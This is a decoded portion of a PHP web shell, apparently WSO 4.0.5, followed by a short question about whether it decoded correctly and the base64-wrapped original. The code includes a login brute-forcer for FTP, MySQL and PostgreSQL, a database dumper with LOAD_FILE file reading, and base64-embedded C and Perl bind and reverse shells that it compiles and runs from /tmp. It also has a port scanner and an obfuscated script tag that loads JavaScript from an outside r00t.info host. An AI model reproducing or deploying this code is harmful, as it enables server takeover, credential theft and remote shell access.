		} elseif( $_POST[\'proto\'] == \'pgsql\' ) {
			function bruteForce($ip,$port,$login,$pass) {
				$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=\'\'";
				$res = @pg_connect($server[0].\':\'.$server[1]?$server[1]:5432, $login, $pass);
				@pg_close($res);
				return $res;
			}
		}
		$success = 0;
		$attempts = 0;
		$server = explode(":", $_POST[\'server\']);
		if($_POST[\'type\'] == 1) {
			$temp = @file(\'/etc/passwd\');
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = explode(":", $line);
					++$attempts;
					if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
					}
					if(@$_POST[\'reverse\']) {
						$tmp = "";
						for($i=strlen($line[0])-1; $i>=0; --$i)
							$tmp .= $line[0][$i];
						++$attempts;
						if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
							$success++;
							echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
						}
					}
				}
		} elseif($_POST[\'type\'] == 2) {
			$temp = @file($_POST[\'dict\']);
			if( is_array($temp) )
				foreach($temp as $line) {
					$line = trim($line);
					++$attempts;
					if( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {
						$success++;
						echo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
					}
				}
		}
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
	}
	echo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'
		.\'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>\'
		.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'
		.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'
		.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'
		.\'<span>Server:port</span></td>\'
		.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'
		.\'<tr><td><span>Brute type</span></td>\'
		.\'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>\'
		.\'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>\'
		.\'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>\'
		.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'
		.\'<td><input type=text name=login value="root"></td></tr>\'
		.\'<tr><td><span>Dictionary</span></td>\'
		.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'
		.\'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';
	echo \'</div><br>\';
	printFooter();
}
// Bruteforce end --------------------
// Sql go ----------------------------
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case \'mysql\':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case \'pgsql\':
					$host = explode(\':\', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case \'mysql\':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case \'mysql\':
					return $this->res = @mysql_query($str);
					break;
				case \'pgsql\':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case \'mysql\':
					return @mysql_fetch_assoc($res);
					break;
				case \'pgsql\':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = @mysql_list_dbs($this->link);
				break;
				case \'pgsql\':
					return $this->res = $this->query("SELECT datname FROM pg_database");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case \'mysql\':
					return $this->res = $this->query(\'SHOW TABLES\');
				break;
				case \'pgsql\':
					return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != \'information_schema\' AND table_schema != \'pg_catalog\') or table_name = \'pg_user\'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case \'mysql\':
					return @mysql_error($this->link);
				break;
				case \'pgsql\':
					return @pg_last_error($this->link);
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case \'mysql\':
					if(function_exists(\'mysql_set_charset\'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query(\'SET CHARSET \'.$str);
					break;
				case \'mysql\':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function dump($table) {
			switch($this->type)	{
				case \'mysql\':
					$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
					$create = mysql_fetch_array($res);
					echo $create[1].";

";
					$this->query(\'SELECT * FROM `\'.$table.\'`\');
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".@mysql_real_escape_string($v)."\'";
							$columns[] = "`".$k."`";
						}
					echo \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
					}
				break;
				case \'pgsql\':
					$this->query(\'SELECT * FROM \'.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "\'".addslashes($v)."\'";
							$columns[] = $k;
						}
					echo \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $item).\');\'."
";
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST[\'type\']);
	if(@$_POST[\'p2\']==\'download\') {
		ob_start("ob_gzhandler", 4096);
		$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);
		$db->selectdb($_POST[\'sql_base\']);
		header("Content-Disposition: attachment; filename=dump.sql");
		header("Content-Type: text/plain");
		foreach($_POST[\'tbl\'] as $v)
				$db->dump($v);
		exit;
	}
	printHeader();
	?>
	<h1>Sql browser</h1><div class=content>
	<form name="sf" method="post">
		<table cellpadding="2" cellspacing="0">
			<tr>
				<td>Type</td>
				<td>Host</td>
				<td>Login</td>
				<td>Password</td>
				<td>Database</td>
				<td></td>
			</tr>
			<tr>
				<input type=hidden name=a value=Sql>
				<input type=hidden name=p1 value=\'query\'>
				<input type=hidden name=p2>
				<input type=hidden name=c value=\'<?=htmlspecialchars($GLOBALS[\'cwd\']);?>\'>
				<input type=hidden name=charset value=\'<?=isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\'?>\'>
				<td>
					<select name=\'type\'>
						<option value="mysql" <?php if(@$_POST[\'type\']==\'mysql\')echo \'selected\';?>>MySql</option>
						<option value="pgsql" <?php if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';?>>PostgreSql</option>
					</select></td>
				<td><input type=text name=sql_host value=\'<?=(empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\']));?>\'></td>
				<td><input type=text name=sql_login value=\'<?=(empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\']));?>\'></td>
				<td><input type=text name=sql_pass value=\'<?=(empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\']));?>\'></td>
				<td>
	<?php
	$tmp = "<input type=text name=sql_base value=\'\'>";
	if(isset($_POST[\'sql_host\'])){
		if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
			switch($_POST[\'charset\']) {
				case "Windows-1251": $db->setCharset(\'cp1251\'); break;
				case "UTF-8": $db->setCharset(\'utf8\'); break;
				case "KOI8-R": $db->setCharset(\'koi8r\'); break;
				case "KOI8-U": $db->setCharset(\'koi8u\'); break;
				case "cp866": $db->setCharset(\'cp866\'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=\'\'></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
			}
			echo \'</select>\';
		}
		else echo $tmp;
	}else
		echo $tmp;
	?></td>
			<td><input type=submit value=">>"></td>
			</tr>
		</table>
		<script>
			function st(t,l) {
				document.sf.p1.value = \'select\';
				document.sf.p2.value = t;
				if(l!=null)document.sf.p3.value = l;
				document.sf.submit();
			}
			function is() {
				for(i=0;i<document.sf.elements[\'tbl[]\'].length;++i)
					document.sf.elements[\'tbl[]\'][i].checked = !document.sf.elements[\'tbl[]\'][i].checked;
			}
		</script>
	<?php
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST[\'sql_base\'])){
				$db->selectdb($_POST[\'sql_base\']);
				echo "<tr><td width=1 style=\'border-top:2px solid #666;border-right:2px solid #666;\'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
					$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
					$value = htmlspecialchars($value);
					echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\')\">".$value."</a> (".$n[\'n\'].")</nobr><br>";
				}
				echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'></td><td style=\'border-top:2px solid #666;\'>";
				if(@$_POST[\'p1\'] == \'select\') {
					$_POST[\'p1\'] = \'query\';
					$db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\'].\'\');
					$num = $db->fetch();
					$num = $num[\'n\'];
					echo "<span>".$_POST[\'p2\']."</span> ($num) ";
					for($i=0;$i<($num/30);$i++)
						if($i != (int)$_POST[\'p3\'])
							echo "<a href=\'#\' onclick=\'st(\"".$_POST[\'p2\']."\", $i)\'>",($i+1),"</a> ";
						else
							echo ($i+1)," ";
					if($_POST[\'type\']==\'pgsql\')
						$_POST[\'p3\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
					else
						$_POST[\'p3\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
					echo "<br><br>";
				}
				if((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p3\'])) {
					$db->query(@$_POST[\'p3\']);
					if($db->res !== false) {
						$title = false;
						echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo \'<tr>\';
								foreach($item as $key => $value)
									echo \'<th>\'.$key.\'</th>\';
								reset($item);
								$title=true;
								echo \'</tr><tr>\';
								$line = 2;
							}
							echo \'<tr class="l\'.$line.\'">\';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo \'<td><i>null</i></td>\';
								else
									echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
							}
							echo \'</tr>\';
						}
						echo \'</table>\';
					} else {
						echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
					}
				}
				echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
			if(@$_POST[\'p1\'] == \'loadfile\') {
				$db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file");
				$file = $db->fetch();
				echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
			}
	}
	echo \'</div>\';
	printFooter();
}
// Sql end -------------------------
// Network go --------------------
function actionNetwork() {
	printHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\' value=\'wso\'> Using: <select name=\'using\'><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=\'>>\'>
	</form>
	<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>
	<span>Back-connect to</span><br/>
	Server: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'31337\'> Using: <select name=\'using\'><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=\'>>\'>
	</form><br>";
	if(isset($_POST[\'p1\'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
			if($w)	{
				@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST[\'p1\'] == \'bpc\') {
			cf("/tmp/bp.c",$bind_port_c);
			$out = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$out".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST[\'p1\'] == \'bpp\') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
			echo "<pre class=ml1>$out".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcc\') {
			cf("/tmp/bc.c",$back_connect_c);
			$out = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$out".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcp\') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$out".ex("ps aux | grep bc.pl")."</pre>";
		}
	}
	echo \'</div>\';
	printFooter();
}
// Network end --------------------
// Port Scanner go --------------------
function actionPortScanner() {
    printHeader();
    echo \'<h1>Port Scanner</h1>\';
    echo \'<div class="content">\';
    echo \'<form action="" method="post">\';
    
    if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
        $start = strip_tags($_POST[\'start\']);
        $end = strip_tags($_POST[\'end\']);
        $host = strip_tags($_POST[\'host\']);
        for($i = $start; $i<=$end; $i++){
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if($fp){
                echo \'Port \'.$i.\' is <font color=lime>open</font><br>\';
            }
            flush();
        }
    } else {
        echo \'<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
              <input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />\';
    }
    echo \'</div>\';
    printFooter();    
}
// Port Scanner end --------------------
if( empty($_POST[\'a\']) )
	if(isset($default_action) && function_exists(\'action\' . $default_action))
		$_POST[\'a\'] = $default_action;
	else
		$_POST[\'a\'] = \'FilesMan\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
	call_user_func(\'action\' . $_POST[\'a\']);
?>
	<script>
document.write(unescape(\'%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%72%30%30%74%2E%69%6E%66%6F%2F%62%6F%74%2F%6C%6F%67%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E\'));
</script>'

Did this file decode correctly?

Original Code

eval("?>".base64_decode("PD9waHAKLyogV1NPIDQuMC41IChXZWIgU2hlbGwgYnkgcjAwdC5pbmZvKSAqLwokYXV0aF9wYXNzID0gIjQ3ZjgxN2UxNTg4Yzc3MzA1YjY5OTdlNmUwN2M5MDkwIjsgLy9hZG1pbgokY29sb3IgPSAiI2ZmZiI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKCWhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwoJZXhpdDsKfQpAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOwpAZGVmaW5lKCdWRVJTSU9OJywgJzQuMC41Jyk7CmlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgewoJZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7Cgl9CgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsKfQpmdW5jdGlvbiBwcmludExvZ2luKCkgewoJCWlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CgkJICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CgkJICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CgkJICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKCQkgIGV4aXQ7CgkJICB9CgkJfQoJZGllKCI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdCBzdHlsZT0nZm9udC1mYW1pbHk6ZmFudGFzeTsnPlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3Mgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7Jz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBzdHlsZT0nYm9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjp0ZWFsO2NvbG9yOiNmZmY7Jz48L2Zvcm0+PC9wcmU+Iik7Cn0KaWYoICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSApKQoJaWYoIGVtcHR5KCAkYXV0aF9wYXNzICkgfHwKCQkoIGlzc2V0KCAkX1BPU1RbJ3Bhc3MnXSApICYmICggbWQ1KCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzICkgKSApCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7CgllbHNlCgkJcHJpbnRMb2dpbigpOwppZiggc3RydG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMpICkgPT0gIndpbiIgKQoJJG9zID0gJ3dpbic7CmVsc2UKCSRvcyA9ICduaXgnOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGhvbWVfY3dkID0gQGdldGN3ZCgpOwppZiggaXNzZXQoICRfUE9TVFsnYyddICkgKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoICRvcyA9PSAnd2luJykgewoJJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOwoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApCgkkY3dkIC49ICcvJzsKZnVuY3Rpb24gcHJpbnRIZWFkZXIoKSB7CglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCgkJJF9QT1NUWydjaGFyc2V0J10gPSAiVVRGLTgiOwoJZ2xvYmFsICRjb2xvcjsKCT8+Cgk8P3BocApAc2Vzc2lvbl9zdGFydCgpOwpAZXJyb3JfcmVwb3J0aW5nKDApOwokYSA9ICc8P3BocApzZXNzaW9uX3N0YXJ0KCk7CmlmKCRfU0VTU0lPTlsiYWRtIl0pewplY2hvIFwnPGI+TmFtZXNpczxicj48YnI+XCcucGhwX3VuYW1lKCkuXCc8YnI+PC9iPlwnO2VjaG8gXCc8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJ1cGxvYWRlciIgaWQ9InVwbG9hZGVyIj5cJztlY2hvIFwnPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPlwnO2lmKCAkX1BPU1RbXCdfdXBsXCddID09ICJVcGxvYWQiICkgewlpZihAY29weSgkX0ZJTEVTW1wnZmlsZVwnXVtcJ3RtcF9uYW1lXCddLCAkX0ZJTEVTW1wnZmlsZVwnXVtcJ25hbWVcJ10pKSB7IGVjaG8gXCc8Yj5VcGxvYWQgU3VjY2VzcyAhISE8L2I+PGJyPjxicj5cJzsgfQllbHNlIHsgZWNobyBcJzxiPlVwbG9hZCBGYWlsICEhITwvYj48YnI+PGJyPlwnOyB9fQp9CmlmKCRfUE9TVFsicCJdKXsKJHAgPSAkX